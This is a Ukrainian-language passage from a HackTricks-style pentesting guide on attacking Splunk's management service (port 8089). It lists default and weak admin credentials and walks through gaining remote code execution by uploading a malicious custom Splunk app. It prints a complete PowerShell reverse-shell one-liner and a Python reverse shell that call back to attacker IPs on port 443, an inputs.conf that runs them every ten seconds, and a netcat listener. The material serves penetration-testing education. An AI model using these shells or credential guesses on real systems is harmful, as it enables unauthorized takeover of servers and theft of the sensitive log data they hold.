8089 - Pentesting Splunkd

Support HackTricks

Основна інформація

Splunk є інструментом аналітики журналів, який відіграє важливу роль у збиранні, аналізі та візуалізації даних. Хоча його первісною метою не було служити як SIEM (Управління інформацією та подіями безпеки), він здобув популярність у сфері моніторингу безпеки та бізнес-аналітики.

Розгортання Splunk часто використовуються для зберігання чутливих даних і можуть слугувати цінним джерелом інформації для потенційних атакуючих, якщо їм вдасться скомпрометувати систему. Порт за замовчуванням: 8089

PORT     STATE SERVICE VERSION
8089/tcp open  http    Splunkd httpd

Сервер Splunk веб за замовчуванням працює на порту 8000.

Перерахування

Безкоштовна версія

Тестова версія Splunk Enterprise перетворюється на безкоштовну версію після 60 днів, яка не вимагає аутентифікації. Не рідкість, що системні адміністратори встановлюють тестову версію Splunk, щоб протестувати її, яка потім забувається. Це автоматично перетворюється на безкоштовну версію, яка не має жодної форми аутентифікації, що створює дірку в безпеці середовища. Деякі організації можуть вибрати безкоштовну версію через обмеження бюджету, не повністю усвідомлюючи наслідки відсутності управління користувачами/ролями.

Стандартні облікові дані

У старіших версіях Splunk стандартні облікові дані - admin:changeme, які зручно відображаються на сторінці входу. Однак остання версія Splunk встановлює облікові дані під час процесу установки. Якщо стандартні облікові дані не працюють, варто перевірити наявність поширених слабких паролів, таких як admin, Welcome, Welcome1, Password123 тощо.

Отримати інформацію

Після входу в Splunk ми можемо переглядати дані, запускати звіти, створювати панелі моніторингу, встановлювати програми з бібліотеки Splunkbase та встановлювати власні програми. Ви також можете запускати код: Splunk має кілька способів запуску коду, таких як серверні Django програми, REST кінцеві точки, сценарії введення та сценарії сповіщень. Загальним методом отримання віддаленого виконання коду на сервері Splunk є використання сценарію введення.

Більше того, оскільки Splunk може бути встановлений на Windows або Linux хостах, сценарії введення можуть бути створені для запуску Bash, PowerShell або Batch сценаріїв.

Shodan

  • Splunk build

RCE

Створити власну програму

Власна програма може виконувати Python, Batch, Bash або PowerShell сценарії. Зверніть увагу, що Splunk постачається з встановленим Python, тому навіть у Windows системах ви зможете запускати код на Python.

Ви можете використовувати цей пакет Splunk, щоб допомогти нам. Директорія bin в цьому репозиторії має приклади для Python та PowerShell. Давайте пройдемо через це крок за кроком.

Щоб досягти цього, спочатку потрібно створити власну програму Splunk, використовуючи наступну структуру директорій:

tree splunk_shell/

splunk_shell/
├── bin
└── default

Директорія bin міститиме будь-які скрипти, які ми плануємо виконати (в даному випадку, PowerShell реверсний шелл), а директорія за замовчуванням міститиме наш файл inputs.conf. Наш реверсний шелл буде PowerShell однорядковим:

$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close(

Файл inputs.conf вказує Splunk який скрипт виконувати та будь-які інші умови. Тут ми встановлюємо додаток як активний і вказуємо Splunk виконувати скрипт кожні 10 секунд. Інтервал завжди в секундах, і вхід (скрипт) буде виконуватись лише якщо ця настройка присутня.

cat inputs.conf

[script://./bin/rev.py]
disabled = 0
interval = 10
sourcetype = shell

[script://.\bin\run.bat]
disabled = 0
sourcetype = shell
interval = 10

Ми потребуємо .bat файл, який буде виконуватись, коли додаток буде розгорнуто, і виконувати однолінійний скрипт PowerShell.

Наступний крок - вибрати Install app from file і завантажити додаток.

Перед завантаженням шкідливого користувацького додатку давайте запустимо прослуховувач, використовуючи Netcat або socat.

sudo nc -lnvp 443

listening on [any] 443 ...

На сторінці Upload app натисніть на browse, виберіть tarball, який ми створили раніше, і натисніть Upload. Як тільки ми завантажимо додаток, отримується зворотний шелл, оскільки статус додатка автоматично буде змінено на Enabled.

Linux

Якщо б ми мали справу з Linux хостом, нам потрібно було б відредагувати Python скрипт rev.py перед створенням tarball і завантаженням користувацького шкідливого додатку. Інша частина процесу залишалася б такою ж, і ми отримали б зворотне з'єднання шеллу на нашому прослуховувачі Netcat і вирушили б у подорож.

import sys,socket,os,pty

ip="10.10.14.15"
port="443"
s=socket.socket()
s.connect((ip,int(port)))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn('/bin/bash')

RCE & Privilege Escalation

На наступній сторінці ви можете знайти пояснення, як цей сервіс може бути зловжито для ескалації привілеїв та отримання стійкості:

Splunk LPE and Persistence

References

Support HackTricks

Last updated